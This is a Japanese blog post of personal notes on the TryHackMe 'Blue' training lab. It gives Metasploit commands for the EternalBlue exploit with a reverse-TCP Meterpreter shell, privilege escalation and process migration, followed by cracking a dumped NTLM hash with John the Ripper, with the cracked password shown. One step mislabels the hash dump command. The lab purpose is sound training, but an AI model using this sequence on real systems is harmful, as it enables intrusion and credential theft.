0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe覚え書】Cyber Security 101 >Exploitation Basics >Blue

Posted at

Cyber Security 101 >Exploitation Basics >Blue

Task 2:Gain Access

macのterminalにmetasploitを入れてtryしたが、なぜかfailの連続だった。
utmのkaliからではスムーズに通った。なんだろうか?

モジュールのロード

use exploit/windows/smb/ms17_010_eternalblue

オプション設定

set RHOST <ターゲットIPアドレス>
set LHOST <アタックのIPアドレス>
set LPORT 4444

ペイロード選択

set PAYLOAD windows/x64/meterpreter/reverse_tcp

実行

exploit //もしくはrun。設定が正しいにも関わらずfailの時は何度かtryするとwinになる。

シェルをバックグラウンドに

ctl+z

Task 3: Escalate

meterpreterシェルに変換

use post/multi/manage/shell_to_meterpreter

オプション設定

set SESSION 1 //例
set LHOST アタッカーIP

実行

run

アクティブセッションの確認

sessions -i 1 //no active sessionの時は待つ

権限昇格

getsystem

NT AUTHORITY\SYSTEMのプロセスを確認、移行

ps a
migrate 2596

Task 4:Cracking

パスワードハッシュをダンプ

meterpreter > getsystem

defaultではないユーザーのハッシュ

Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

txtにhashを書き込みjohn the ripperでcrack//ハッシュ形式を探す必要がある。listにrockyouを使う。

echo "Jon::WORKGROUP:ffb43f0de35be4d9917ac0cc8ad57f8d" > hash.txt
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

alqfna22

Task 5:Find flags!

mererpreterに戻ってターゲットないを検索する。1はc:\にある。

search -f flag1.txt
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?